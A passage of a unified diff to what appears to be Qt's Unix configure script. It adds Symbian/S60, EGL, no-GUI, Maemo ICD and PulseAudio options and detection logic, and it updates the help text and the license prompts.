 CFG_XMLPATTERNS=auto # (yes|no|auto)
@@ -674,6 +677,8 @@ CFG_XVIDEO=auto
 CFG_XINERAMA=runtime
 CFG_XFIXES=runtime
 CFG_ZLIB=auto
+CFG_SYMBIAN_DEFFILES=auto
+CFG_S60=auto
 CFG_SQLITE=qt
 CFG_GIF=auto
 CFG_TIFF=auto
@@ -706,10 +711,10 @@ CFG_NOBUILD_PARTS=""
 CFG_RELEASE_QMAKE=no
 CFG_PHONON=auto
 CFG_PHONON_BACKEND=yes
-CFG_MULTIMEDIA=yes
-CFG_MEDIASERVICE=yes
-CFG_AUDIO_BACKEND=yes
-CFG_SVG=yes
+CFG_MULTIMEDIA=auto
+CFG_MEDIASERVICE=auto
+CFG_AUDIO_BACKEND=auto
+CFG_SVG=auto
 CFG_DECLARATIVE=auto
 CFG_WEBKIT=auto # (yes|no|auto)
 CFG_JAVASCRIPTCORE_JIT=auto
@@ -753,7 +758,8 @@ CFG_DBUS=auto
 CFG_GLIB=auto
 CFG_GSTREAMER=auto
 CFG_QGTKSTYLE=auto
-CFG_LARGEFILE=auto
+CFG_QS60STYLE=auto
+CFG_LARGEFILE=yes
 CFG_OPENSSL=auto
 CFG_PTMALLOC=no
 CFG_STL=auto
@@ -816,6 +822,7 @@ CFG_GRAPHICS_SYSTEM=default
 CFG_ALSA=auto
 CFG_PULSEAUDIO=auto
 CFG_COREWLAN=auto
+CFG_ICD=auto
 
 # initalize variables used for installation
 QT_INSTALL_PREFIX=
@@ -854,6 +861,10 @@ QT_LIBS_GLIB=
 QT_CFLAGS_GSTREAMER=
 QT_LIBS_GSTREAMER=
 
+# flags for icd (Maemo Internet Connection Daemon)
+QT_CFLAGS_ICD=
+QT_LIBS_ICD=
+
 #-------------------------------------------------------------------------------
 # check SQL drivers, mouse drivers and decorations available in this package
 #-------------------------------------------------------------------------------
@@ -956,8 +967,7 @@ while [ "$#" -gt 0 ]; do
         VAL=no
         ;;
     #Qt style yes options
-
-        -incremental|-qvfb|-profile|-shared|-static|-sm|-xinerama|-xshape|-xvideo|-xsync|-xinput|-reduce-exports|-pch|-separate-debug-info|-stl|-freetype|-xcursor|-xfixes|-xrandr|-xrender|-mitshm|-fontconfig|-xkb|-nis|-qdbus|-dbus|-dbus-linked|-glib|-gstreamer|-gtkstyle|-cups|-iconv|-largefile|-h|-help|-v|-verbose|-debug|-release|-fast|-accessibility|-confirm-license|-gnumake|-framework|-qt3support|-debug-and-release|-exceptions|-cocoa|-carbon|-universal|-prefix-install|-silent|-armfpa|-optimized-qmake|-dwarf2|-reduce-relocations|-sse|-openssl|-openssl-linked|-ptmalloc|-xmlpatterns|-phonon|-phonon-backend|-multimedia|-mediaservice|-audio-backend|-svg|-declarative|-webkit|-javascript-jit|-script|-scripttools|-rpath|-force-pkg-config)
+        -incremental|-qvfb|-profile|-shared|-static|-sm|-xinerama|-xshape|-xsync|-xinput|-egl|-reduce-exports|-pch|-separate-debug-info|-stl|-freetype|-xcursor|-xfixes|-xrandr|-xrender|-mitshm|-fontconfig|-xkb|-nis|-qdbus|-dbus|-dbus-linked|-glib|-gstreamer|-gtkstyle|-cups|-iconv|-largefile|-h|-help|-v|-verbose|-debug|-release|-fast|-accessibility|-confirm-license|-gnumake|-framework|-qt3support|-debug-and-release|-exceptions|-cocoa|-carbon|-universal|-prefix-install|-silent|-armfpa|-optimized-qmake|-dwarf2|-reduce-relocations|-sse|-openssl|-openssl-linked|-ptmalloc|-xmlpatterns|-phonon|-phonon-backend|-multimedia|-mediaservice|-audio-backend|-svg|-declarative|-webkit|-javascript-jit|-script|-scripttools|-rpath|-force-pkg-config|-s60|-usedeffiles)
         VAR=`echo $1 | sed "s,^-\(.*\),\1,"`
         VAL=yes
         ;;
@@ -973,7 +983,7 @@ while [ "$#" -gt 0 ]; do
         shift
         VAL=$1
         ;;
-    -prefix|-docdir|-headerdir|-plugindir|-datadir|-libdir|-bindir|-translationdir|-sysconfdir|-examplesdir|-demosdir|-depths|-make|-nomake|-platform|-xplatform|-buildkey|-sdk|-arch|-host-arch|-mysql_config)
+    -prefix|-docdir|-headerdir|-plugindir|-importdir|-datadir|-libdir|-bindir|-translationdir|-sysconfdir|-examplesdir|-demosdir|-depths|-make|-nomake|-platform|-xplatform|-buildkey|-sdk|-arch|-host-arch|-mysql_config)
         VAR=`echo $1 | sed "s,^-\(.*\),\1,"`
         shift
         VAL="$1"
@@ -1291,6 +1301,9 @@ while [ "$#" -gt 0 ]; do
             [ "$VAL" = "yes" ] || [ "$VAL" = "no" ] ||
             [ "$VAL" = "es1" ] || [ "$VAL" = "es2" ]; then
             CFG_OPENGL="$VAL"
+            if  [ "$VAL" = "es1" ] || [ "$VAL" = "es2" ]; then
+                CFG_EGL="yes"
+            fi
         else
             UNKNOWN_OPT=yes
         fi
@@ -1298,6 +1311,7 @@ while [ "$#" -gt 0 ]; do
     openvg)
         if [ "$VAL" = "auto" ] || [ "$VAL" = "yes" ] || [ "$VAL" = "no" ]; then
             CFG_OPENVG="$VAL"
+            CFG_EGL="auto"
         else
             UNKNOWN_OPT=yes
         fi
@@ -1549,7 +1563,6 @@ while [ "$#" -gt 0 ]; do
         fi
         ;;
     feature-*)
-        if [ "$PLATFORM_QWS" = "yes" -o "$PLATFORM_EMBLITE" = "yes" ]; then
             FEATURE=`echo $VAR | sed "s,^[^-]*-\([^-]*\),\1," | tr 'abcdefghijklmnopqrstuvwxyz-' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ_'`
             if [ "$VAL" = "no" ]; then
                 QCONFIG_FLAGS="$QCONFIG_FLAGS QT_NO_$FEATURE"
@@ -1558,9 +1571,6 @@ while [ "$#" -gt 0 ]; do
             else
                 UNKNOWN_OPT=yes
             fi
-        else
-            UNKNOWN_OPT=yes
-        fi
         ;;
     shared)
         if [ "$VAL" = "yes" ] || [ "$VAL" = "no" ]; then
@@ -1620,6 +1630,13 @@ while [ "$#" -gt 0 ]; do
             UNKNOWN_OPT=yes
         fi
         ;;
+    egl)
+        if [ "$VAL" = "yes" ] || [ "$VAL" = "no" ]; then
+            CFG_EGL="$VAL"
+        else
+            UNKNOWN_OPT=yes
+        fi
+        ;;
     stl)
         if [ "$VAL" = "yes" ] || [ "$VAL" = "no" ]; then
             CFG_STL="$VAL"
@@ -1714,6 +1731,20 @@ while [ "$#" -gt 0 ]; do
         # No longer supported:
         #[ "$VAL" = "no" ] && CFG_LIBPNG=no
         ;;
+    s60)
+        if [ "$VAL" = "yes" ] || [ "$VAL" = "no" ]; then
+            CFG_S60="$VAL"
+        else
+            UNKNOWN_OPT=yes
+        fi
+        ;;
+    usedeffiles)
+        if [ "$VAL" = "yes" ] || [ "$VAL" = "no" ]; then
+            CFG_SYMBIAN_DEFFILES="$VAL"
+        else
+            UNKNOWN_OPT=yes
+        fi
+        ;;
     sqlite)
         if [ "$VAL" = "system" ]; then
             CFG_SQLITE=system
@@ -1844,6 +1875,24 @@ while [ "$#" -gt 0 ]; do
             UNKNOWN_OPT=yes
         fi
         ;;
+    style-s60)
+        if [ "$VAL" = "qt" ] || [ "$VAL" = "no" ]; then
+            CFG_QS60STYLE="$VAL"
+        else
+            UNKNOWN_OPT=yes
+        fi
+        ;;
+    gui)
+        if [ "$VAL" = "yes" ] || [ "$VAL" = "auto" ]; then
+            CFG_GUI="yes"
+        else
+            if [ "$VAL" = "no" ]; then
+                CFG_GUI="no"
+            else
+                UNKNOWN_OPT=yes
+            fi
+        fi
+        ;;
     qdbus|dbus)
         if [ "$VAL" = "yes" ] || [ "$VAL" = "no" ] || [ "$VAL" = "linked" ]; then
             CFG_DBUS="$VAL"
@@ -2201,6 +2250,10 @@ if [ "$CFG_QCONFIG" != "full" ] && [ "$CFG_QT3SUPPORT" = "yes" ]; then
     echo "Warning: '-qconfig $CFG_QCONFIG' will disable the qt3support library."
     CFG_QT3SUPPORT="no"
 fi
+if [ "$CFG_GUI" = "no" ]; then
+    echo "Warning: -no-gui will disable the qt3support library."
+    CFG_QT3SUPPORT="no"
+fi
 
 # update QT_CONFIG to show our current predefined configuration
 case "$CFG_QCONFIG" in
@@ -2227,6 +2280,7 @@ esac
 # where to find which..
 unixtests="$relpath/config.tests/unix"
 mactests="$relpath/config.tests/mac"
+symbiantests="$relpath/config.tests/symbian"
 WHICH="$unixtests/which.test"
 
 PERL=`$WHICH perl 2>/dev/null`
@@ -2345,6 +2399,17 @@ if [ "$OPT_SHADOW" = "yes" ]; then
         chmod 755 "$outpath/bin/syncqt"
     fi
 
+    for i in createpackage patch_capabilities; do
+        rm -f "$outpath/bin/$i"
+        if [ -x "$relpath/bin/$i" ]; then
+            mkdir -p "$outpath/bin"
+            echo "#!/bin/sh" >"$outpath/bin/$i"
+            echo "QTDIR=\"$relpath\"; export QTDIR" >>"$outpath/bin/$i"
+            echo "\"$relpath/bin/$i\" \"\$@\"" >>"$outpath/bin/$i"
+            chmod 755 "$outpath/bin/$i"
+        fi
+    done
+
     # symlink the mkspecs directory
     mkdir -p "$outpath/mkspecs"
     rm -f "$outpath"/mkspecs/*
@@ -3382,7 +3447,7 @@ if [ "$OPT_HELP" = "yes" ]; then
 
     cat <<EOF
 Usage:  $relconf [-h] [-prefix <dir>] [-prefix-install] [-bindir <dir>] [-libdir <dir>]
-        [-docdir <dir>] [-headerdir <dir>] [-plugindir <dir> ] [-datadir <dir>]
+        [-docdir <dir>] [-headerdir <dir>] [-plugindir <dir> ] [-importdir <dir>] [-datadir <dir>]
         [-translationdir <dir>] [-sysconfdir <dir>] [-examplesdir <dir>]
         [-demosdir <dir>] [-buildkey <key>] [-release] [-debug]
         [-debug-and-release] [-developer-build] [-shared] [-static] [-no-fast] [-fast] [-no-largefile]
@@ -3395,7 +3460,7 @@ Usage:  $relconf [-h] [-prefix <dir>] [-prefix-install] [-bindir <dir>] [-libdir
         [-system-libmng] [-no-libjpeg] [-qt-libjpeg] [-system-libjpeg] [-make <part>]
         [-nomake <part>] [-R <string>]  [-l <string>] [-no-rpath]  [-rpath] [-continue]
         [-verbose] [-v] [-silent] [-no-nis] [-nis] [-no-cups] [-cups] [-no-iconv]
-        [-iconv] [-no-pch] [-pch] [-no-dbus] [-dbus] [-dbus-linked]
+        [-iconv] [-no-pch] [-pch] [-no-dbus] [-dbus] [-dbus-linked] [-no-gui]
         [-no-separate-debug-info] [-no-mmx] [-no-3dnow] [-no-sse] [-no-sse2]
         [-qtnamespace <namespace>] [-qtlibinfix <infix>] [-separate-debug-info] [-armfpa]
         [-no-optimized-qmake] [-optimized-qmake] [-no-xmlpatterns] [-xmlpatterns]
@@ -3665,6 +3730,8 @@ Additional options:
  *  -no-optimized-qmake ... Do not build qmake optimized.
     -optimized-qmake ...... Build qmake optimized.
 
+    -no-gui ............ Don't build the Qt GUI library
+
  $NSN  -no-nis ............ Do not compile NIS support.
  $NSY  -nis ............... Compile NIS support.
 
@@ -3817,6 +3884,12 @@ Qt/X11 only:
     -system-nas-sound .. Use NAS libaudio from the operating system.
                          See http://radscan.com/nas.html
 
+    -egl ............... Use EGL instead of GLX to manage contexts.
+                         When building for desktop OpenGL, this option will
+                         make Qt use EGL to manage contexts rather than the
+                         GLX, which is the default. Note: For OpenGL ES, EGL
+                         is always used.
+
     -no-opengl ......... Do not support OpenGL.
  +  -opengl <api> ...... Enable OpenGL support.
                          With no parameter, this will auto-detect the "best"
@@ -3824,8 +3897,6 @@ Qt/X11 only:
                          will be used. Use desktop, es1, or es2 for <api>
                          to force the use of the Desktop (OpenGL 1.x or 2.x),
                          OpenGL ES 1.x Common profile, or 2.x APIs instead.
-                         On X11, the EGL API will be used to manage GL
-                         contexts in the case of OpenGL ES
 
      -no-openvg ........ Do not support OpenVG.
  +   -openvg ........... Enable OpenVG support.
@@ -4041,6 +4112,20 @@ if [ "$PLATFORM_QWS" = "yes" -o "$PLATFORM_EMBLITE" = "yes" -o "$PLATFORM_X11" =
 EOF
 fi
 
+if echo "$XPLATFORM" | grep symbian > /dev/null ; then
+    cat << EOF
+
+Qt for Symbian only:
+    -no-s60 ............ Do not compile in S60 support.
+ +  -s60 ............... Compile with support for the S60 UI Framework.
+    -no-style-s60....... Disable s60 style
+ +  -qt-style-s60....... Enable s60 style in the Qt Library
+
+    -no-usedeffiles .... Disable the usage of DEF files.
+ *  -usedeffiles ....... Enable the usage of DEF files.
+EOF
+fi
+
    [ "x$ERROR" = "xyes" ] && exit 1
    exit 0
 fi # Help
@@ -4054,7 +4139,9 @@ if [ "$PLATFORM_QWS" = "yes" -o "$PLATFORM_EMBLITE" = "yes" ]; then
     Platform="Qt for Embedded Linux"
 elif [ "$PLATFORM_MAC" = "yes" ]; then
     Platform="Qt for Mac OS X"
-else
+elif echo "$XPLATFORM" | grep "symbian" > /dev/null ; then
+    Platform="Qt for Symbian"
+elif [ '!' -z "`getQMakeConf \"$XQMAKESPEC\" | grep QMAKE_LIBS_X11 | awk '{print $3;}'`" ]; then
     PLATFORM_X11=yes
     Platform="Qt for Linux/X11"
 fi
@@ -4090,11 +4177,7 @@ elif [ "$Edition" = "OpenSource" ]; then
             echo "Type 'yes' to accept this license offer."
             echo "Type 'no' to decline this license offer."
             echo
-            if echo '\c' | grep '\c' >/dev/null; then
-                echo -n "Do you accept the terms of $affix license? "
-            else
-                echo "Do you accept the terms of $affix license? \c"
-            fi
+            echo $ECHO_N "Do you accept the terms of $affix license? $ECHO_C"
             read acceptance
         fi
         echo
@@ -4125,11 +4208,7 @@ elif [ "$Edition" = "Preview" ]; then
             echo "Type 'yes' to accept this license offer."
             echo "Type 'no' to decline this license offer."
             echo
-            if echo '\c' | grep '\c' >/dev/null; then
-                echo -n "Do you accept the terms of the license? "
-            else
-                echo "Do you accept the terms of the license? \c"
-            fi
+            echo $ECHO_N "Do you accept the terms of the license? $ECHO_C"
             read acceptance
         fi
         echo
@@ -4215,11 +4294,7 @@ elif [ "$Edition" != "OpenSource" ]; then
             echo "Type 'yes' to accept this license offer."
             echo "Type 'no' to decline this license offer."
             echo
-            if echo '\c' | grep '\c' >/dev/null; then
-                echo -n "Do you accept the terms of the $TheLicense? "
-            else
-                echo "Do you accept the terms of the $TheLicense? \c"
-            fi
+            echo $ECHO_N "Do you accept the terms of the $TheLicense? $ECHO_C"
             read acceptance
         fi
         echo
@@ -4678,6 +4753,30 @@ if [ "$CFG_ZLIB" = "auto" ]; then
     fi
 fi
 
+if [ "$CFG_S60" = "auto" ]; then
+    if echo "$XPLATFORM" | grep symbian > /dev/null; then
+        CFG_S60=yes
+    else
+        CFG_S60=no
+    fi
+fi
+
+if [ "$CFG_QS60STYLE" = "auto" ]; then
+    if echo "$XPLATFORM" | grep symbian > /dev/null; then
+        CFG_QS60STYLE=qt
+    else
+        CFG_QS60STYLE=no
+    fi
+fi
+
+if [ "$CFG_SYMBIAN_DEFFILES" = "auto" ]; then
+    if echo "$XPLATFORM" | grep symbian > /dev/null && [ "$CFG_DEV" = "no" ]; then
+        CFG_SYMBIAN_DEFFILES=yes
+    else
+        CFG_SYMBIAN_DEFFILES=no
+    fi
+fi
+
 # detect how jpeg should be built
 if [ "$CFG_JPEG" = "auto" ]; then
     if [ "$CFG_SHARED" = "yes" ]; then
@@ -4956,6 +5055,14 @@ for _SQLDR in $CFG_SQL_AVAILABLE; do
             fi
             ;;
         sqlite)
+            if [ "$CFG_SQL_sqlite" = "auto" ]; then # the default
+                case "$XPLATFORM" in
+                    symbian*)
+                    # sqlite on symbian is typically not build in Qt but deployed as a pre-existing sis file.
+                    CFG_SQL_sqlite=no
+                    ;;
+                esac
+            fi
             if [ "$CFG_SQL_sqlite" != "no" ]; then
                 SQLITE_AUTODETECT_FAILED="no"
                 if [ "$CFG_SQLITE" = "system" ]; then
@@ -5078,6 +5185,15 @@ if [ "$CFG_DBUS" != "no" ]; then
     fi
 fi
 
+if [ "$CFG_MULTIMEDIA" = "auto" ]; then
+    CFG_MULTIMEDIA="$CFG_GUI"
+fi
+
+if [ "$CFG_MULTIMEDIA" = "yes" ] && [ "$CFG_GUI" = "no" ]; then
+    echo "QtMultimedia requested, but it can't be built without QtGui"
+    exit 1
+fi
+
 # Generate a CRC of the namespace for using in constants for the Carbon port.
 # This should mean that you really *can* load two Qt's and have our custom
 # Carbon events work.
@@ -5087,26 +5203,6 @@ fi
 
 if [ "$PLATFORM_X11" = "yes" -o "$PLATFORM_QWS" = "yes" -o "$PLATFORM_EMBLITE" = "yes" ]; then
 
-    # detect EGL support
-    if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" "config.tests/unix/egl" "EGL (EGL/egl.h)" $L_FLAGS $I_FLAGS $l_FLAGS; then
-        # EGL specified by QMAKE_*_EGL, included with <EGL/egl.h>
-        CFG_EGL=yes
-        CFG_EGL_GLES_INCLUDES=no
-    elif "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" "config.tests/unix/egl4gles1" "EGL (GLES/egl.h)" $L_FLAGS $I_FLAGS $l_FLAGS; then
-        # EGL specified by QMAKE_*_EGL, included with <GLES/egl.h>
-        CFG_EGL=yes
-        CFG_EGL_GLES_INCLUDES=yes
-    fi
-    if ( [ "$CFG_OPENGL" = "es1" ] || [ "$CFG_OPENGL" = "es2" ] ) && [ "$CFG_EGL" != "yes" ]; then
-        echo "The EGL functionality test failed!"
-        echo " EGL is required for OpenGL ES to manage contexts & surfaces."
-        echo " You might need to modify the include and library search paths by editing"
-        echo " QMAKE_INCDIR_EGL, QMAKE_LIBDIR_EGL and QMAKE_LIBS_EGL in"
-        echo " ${XQMAKESPEC}."
-        exit 1
-    fi
-
-
     # auto-detect Glib support
     if [ "$CFG_GLIB" != "no" ]; then
         if [ -n "$PKG_CONFIG" ]; then
@@ -5130,28 +5226,56 @@ if [ "$PLATFORM_X11" = "yes" -o "$PLATFORM_QWS" = "yes" -o "$PLATFORM_EMBLITE" =
         fi
     fi
 
-    # Auto-detect GStreamer support (needed for both Phonon & QtMultimedia)
-    if [ "$CFG_GLIB" = "yes" -a "$CFG_GSTREAMER" != "no" ]; then
-        if [ -n "$PKG_CONFIG" ]; then
-            QT_CFLAGS_GSTREAMER=`$PKG_CONFIG --cflags gstreamer-0.10 gstreamer-plugins-base-0.10 2>/dev/null`
-            QT_LIBS_GSTREAMER=`$PKG_CONFIG --libs gstreamer-0.10 gstreamer-plugins-base-0.10 2>/dev/null`
+    if [ "$CFG_GUI" = "no" ]; then
+        if [ "$CFG_PHONON" = "auto" ]; then
+            CFG_PHONON=no
         fi
-        if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" config.tests/unix/gstreamer "GStreamer" $L_FLAGS $I_FLAGS $l_FLAGS $QT_CFLAGS_GSTREAMER $QT_LIBS_GSTREAMER $X11TESTS_FLAGS; then
-            CFG_GSTREAMER=yes
-            QMakeVar set QT_CFLAGS_GSTREAMER "$QT_CFLAGS_GSTREAMER"
-            QMakeVar set QT_LIBS_GSTREAMER "$QT_LIBS_GSTREAMER"
-        else
-            if [ "$CFG_GSTREAMER" = "yes" ] && [ "$CFG_CONFIGURE_EXIT_ON_ERROR" = "yes" ]; then
-                echo "Gstreamer support cannot be enabled due to functionality tests!"
-                echo " Turn on verbose messaging (-v) to $0 to see the final report."
-                echo " If you believe this message is in error you may use the continue"
-                echo " switch (-continue) to $0 to continue."
-                exit 101
+        if [ "$CFG_PHONON" != "no" ]; then
+            echo "Phonon enabled, but GUI disabled."
+            echo " You might need to either enable the GUI or disable Phonon"
+            exit 1
+        fi
+    fi
+
+    if [ "$CFG_GUI" = "no" ]; then
+        if [ "$CFG_MEDIASERVICE" = "auto" ]; then
+            CFG_MEDIASERVICE=no
+        fi
+        if [ "$CFG_MEDIASERVICE" != "no" ]; then
+            echo "Mediaservice enabled, but GUI disabled."
+            echo " You might need to either enable the GUI or disable Mediaservice"
+            exit 1
+        fi
+    elif [ "$CFG_MEDIASERVICE" = "auto" ]; then
+        CFG_MEDIASERVICE=yes
+    fi
+
+    # Auto-detect GStreamer support (needed for both Phonon & QtMultimedia)
+    if [ "$CFG_PHONON" = "yes" -o "$CFG_MULTIMEDIA" = "yes" ]; then
+        if [ "$CFG_GLIB" = "yes" -a "$CFG_GSTREAMER" != "no" ]; then
+            if [ -n "$PKG_CONFIG" ]; then
+                QT_CFLAGS_GSTREAMER=`$PKG_CONFIG --cflags gstreamer-0.10 gstreamer-plugins-base-0.10 2>/dev/null`
+                QT_LIBS_GSTREAMER=`$PKG_CONFIG --libs gstreamer-0.10 gstreamer-plugins-base-0.10 2>/dev/null`
+            fi
+            if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" config.tests/unix/gstreamer "GStreamer" $L_FLAGS $I_FLAGS $l_FLAGS $QT_CFLAGS_GSTREAMER $QT_LIBS_GSTREAMER $X11TESTS_FLAGS; then
+                CFG_GSTREAMER=yes
+                QMakeVar set QT_CFLAGS_GSTREAMER "$QT_CFLAGS_GSTREAMER"
+                QMakeVar set QT_LIBS_GSTREAMER "$QT_LIBS_GSTREAMER"
             else
-                CFG_GSTREAMER=no
+                if [ "$CFG_GSTREAMER" = "yes" ] && [ "$CFG_CONFIGURE_EXIT_ON_ERROR" = "yes" ]; then
+                    echo "Gstreamer support cannot be enabled due to functionality tests!"
+                    echo " Turn on verbose messaging (-v) to $0 to see the final report."
+                    echo " If you believe this message is in error you may use the continue"
+                    echo " switch (-continue) to $0 to continue."
+                    exit 101
+                else
+                    CFG_GSTREAMER=no
+                fi
             fi
+        elif [ "$CFG_GLIB" = "no" ]; then
+            CFG_GSTREAMER=no
         fi
-    elif [ "$CFG_GLIB" = "no" ]; then
+    else
         CFG_GSTREAMER=no
     fi
 
@@ -5174,6 +5298,84 @@ if [ "$PLATFORM_X11" = "yes" -o "$PLATFORM_QWS" = "yes" -o "$PLATFORM_EMBLITE" =
             CFG_PHONON=yes
         fi
     fi
+
+    # auto-detect icd support
+    if [ "$CFG_GLIB" = "yes" -a "$CFG_ICD" != "no" ]; then
+        # ICD support has a cyclic dependency on Qt.
+        if [ -n "$PKG_CONFIG" ]; then
+            QT_CFLAGS_ICD=`$PKG_CONFIG --cflags osso-ic conninet 2>/dev/null`
+            QT_LIBS_ICD=`$PKG_CONFIG --libs osso-ic conninet 2>/dev/null`
+            QT_CFLAGS_QTNETWORK=`$PKG_CONFIG --cflags QtNetwork 2>/dev/null`
+            QT_LIBS_QTNETWORK=`$PKG_CONFIG --libs QtNetwork 2>/dev/null`
+        else
+            QT_CFLAGS_QTNETWORK=
+            QT_LIBS_QTNETWORK=
+        fi
+        if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" config.tests/unix/icd "ICD" $L_FLAGS $I_FLAGS $l_FLAGS $QT_CFLAGS_ICD $QT_LIBS_ICD $QT_CFLAGS_QTNETWORK $QT_LIBS_QTNETWORK; then
+            [ "$CFG_ICD" = "auto" ] && CFG_ICD=yes
+            # remove system Qt includes and libraries
+            QT_CFLAGS_ICD_TRIMMED=
+            for i in $QT_CFLAGS_ICD; do
+                case $i in
+                    *qt*)
+                        ;;
+                    *)
+                        QT_CFLAGS_ICD_TRIMMED="$QT_CFLAGS_ICD_TRIMMED $i"
+                        ;;
+                esac
+            done
+            QT_LIBS_ICD_TRIMMED=
+            for i in $QT_LIBS_ICD; do
+                case $i in
+                    *qt*|-lQt*)
+                        ;;
+                    *)
+                        QT_LIBS_ICD_TRIMMED="$QT_LIBS_ICD_TRIMMED $i"
+                        ;;
+                esac
+            done
+
+            QMakeVar set QT_CFLAGS_ICD "$QT_CFLAGS_ICD_TRIMMED"
+            QMakeVar set QT_LIBS_ICD "$QT_LIBS_ICD_TRIMMED"
+        else
+            if [ "$CFG_ICD" = "auto" ]; then
+                CFG_ICD=no
+            elif [ "$CFG_CONFIGURE_EXIT_ON_ERROR" = "yes" ]; then
+                # CFG_ICD is "yes"
+
+                echo "The ICD Bearer Management plugin cannot be enabled because osso-ic or conninet was not found."
+                echo " Turn on verbose messaging (-v) to $0 to see the final report."
+                echo " If you believe this message is in error you may use the continue"
+                echo " switch (-continue) to $0 to continue."
+                exit 101
+            fi
+        fi
+    elif [ "$CFG_GLIB" = "no" ]; then
+        CFG_ICD=no
+    fi
+
+    # Auto-detect PulseAudio support
+    if [ "$CFG_PULSEAUDIO" != "no" ]; then
+        if [ -n "$PKG_CONFIG" ]; then
+            QT_CFLAGS_PULSEAUDIO=`$PKG_CONFIG --cflags libpulse '>=' 0.9.10 libpulse-mainloop-glib 2>/dev/null`
+            QT_LIBS_PULSEAUDIO=`$PKG_CONFIG --libs libpulse '>=' 0.9.10 libpulse-mainloop-glib 2>/dev/null`
+        fi
+        if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" config.tests/unix/pulseaudio "PulseAudio" $L_FLAGS $I_FLAGS $l_FLAGS $QT_CFLAGS_PULSEAUDIO $QT_LIBS_PULSEAUDIO $X11TESTS_FLAGS; then
+            CFG_PULSEAUDIO=yes
+            QMakeVar set QT_CFLAGS_PULSEAUDIO "$QT_CFLAGS_PULSEAUDIO"
+            QMakeVar set QT_LIBS_PULSEAUDIO "$QT_LIBS_PULSEAUDIO"
+        else
+            if [ "$CFG_PULSEAUDIO" = "yes" ] && [ "$CFG_CONFIGURE_EXIT_ON_ERROR" = "yes" ]; then
+                echo "PulseAudio support cannot be enabled due to functionality tests!"
+                echo " Turn on verbose messaging (-v) to $0 to see the final report."
+                echo " If you believe this message is in error you may use the continue"
+                echo " switch (-continue) to $0 to continue."
+                exit 101
+            else
+		CFG_PULSEAUDIO=no
+            fi
+        fi
+    fi
 fi # X11/QWS
 
 # x11
@@ -5199,13 +5401,29 @@ if [ "$PLATFORM_X11" = "yes" ]; then
     fi
 
     # auto-detect OpenGL support (es1 = OpenGL ES 1.x Common, es2 = OpenGL ES 2.x)
+    if [ "$CFG_GUI" = "no" ]; then
+        if [ "$CFG_OPENGL" = "auto" ]; then
+            CFG_OPENGL=no
+        fi
+        if [ "$CFG_OPENGL" != "no" ]; then
+            echo "OpenGL enabled, but GUI disabled."
+            echo " You might need to either enable the GUI or disable OpenGL"
+            exit 1
+        fi
+    fi
     if [ "$CFG_OPENGL" = "auto" ] || [ "$CFG_OPENGL" = "yes" ]; then
         if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" config.tests/x11/opengl "OpenGL" $L_FLAGS $I_FLAGS $l_FLAGS $X11TESTS_FLAGS; then
             CFG_OPENGL=desktop
         elif "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" config.tests/unix/opengles2 "OpenGL ES 2.x" $L_FLAGS $I_FLAGS $l_FLAGS; then
             CFG_OPENGL=es2
-	elif "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" config.tests/unix/opengles1 "OpenGL ES 1.x" $L_FLAGS $I_FLAGS $l_FLAGS; then
+            if [ "$CFG_EGL" = "no" ]; then
+                CFG_EGL=auto
+            fi
+        elif "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" config.tests/unix/opengles1 "OpenGL ES 1.x" $L_FLAGS $I_FLAGS $l_FLAGS; then
             CFG_OPENGL=es1
+            if [ "$CFG_EGL" = "no" ]; then
+                CFG_EGL=auto
+            fi
         else
             if [ "$CFG_OPENGL" = "yes" ]; then
                 echo "All the OpenGL functionality tests failed!"
@@ -5216,24 +5434,24 @@ if [ "$PLATFORM_X11" = "yes" ]; then
             fi
             CFG_OPENGL=no
         fi
-       case "$PLATFORM" in
-       hpux*)
-           # HP-UX have buggy glx headers; check if we really need to define the GLXFBConfig struct.
-           if [ "$CFG_OPENGL" = "desktop" ]; then
-               "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" config.tests/x11/glxfbconfig "OpenGL" $L_FLAGS $I_FLAGS $l_FLAGS $X11TESTS_FLAGS
-               if [ $? != "0" ]; then
-                   QMakeVar add DEFINES QT_DEFINE_GLXFBCONFIG_STRUCT
-               fi
-           fi
-	   ;;
-       *)
-           ;;
-       esac
+        case "$PLATFORM" in
+        hpux*)
+            # HP-UX have buggy glx headers; check if we really need to define the GLXFBConfig struct.
+            if [ "$CFG_OPENGL" = "desktop" ]; then
+                "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" config.tests/x11/glxfbconfig "OpenGL" $L_FLAGS $I_FLAGS $l_FLAGS $X11TESTS_FLAGS
+                if [ $? != "0" ]; then
+                    QMakeVar add DEFINES QT_DEFINE_GLXFBCONFIG_STRUCT
+                fi
+            fi
+            ;;
+        *)
+            ;;
+        esac
     elif [ "$CFG_OPENGL" = "es1" ]; then
         # OpenGL ES 1.x
-	"$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" config.tests/unix/opengles1 "OpenGL ES 1.x" $L_FLAGS $I_FLAGS $l_FLAGS
+        "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" config.tests/unix/opengles1 "OpenGL ES 1.x" $L_FLAGS $I_FLAGS $l_FLAGS
         if [ $? != "0" ]; then
-	    echo "The OpenGL ES 1.x functionality test failed!"
